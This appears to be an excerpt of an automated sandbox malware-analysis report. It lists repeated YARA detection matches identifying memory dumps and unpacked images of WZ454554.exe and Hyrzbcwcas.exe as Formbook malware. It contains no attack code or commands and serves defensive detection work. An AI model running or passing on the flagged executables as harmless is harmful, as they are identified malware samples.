Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: WZ454554.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI

Source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 21.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.2.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 21.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.WZ454554.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.1.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.1.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.1.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 21.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 21.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 21.2.Hyrzbcwcas.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.Hyrzbcwcas.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.2.WZ454554.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.2.Hyrzbcwcas.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.0.WZ454554.exe.400000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 9.1.WZ454554.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 17.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 21.0.Hyrzbcwcas.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000A.00000000.360550532.00000000100E2000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000014.00000002.559491799.00000000030A0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000014.00000002.556874060.0000000002B10000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.407793404.00000000005E0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000000.418862410.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.428947591.00000000005A0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000002.436930793.00000000008F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000000.419325156.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.324007988.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000000.399621636.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000002.436845866.00000000008C0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000001.400349591.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.407506141.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000001.324511598.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000002.436315053.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000000.400048444.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.407725220.00000000005B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.429108861.00000000005D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001C.00000002.437292259.0000000002AD0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
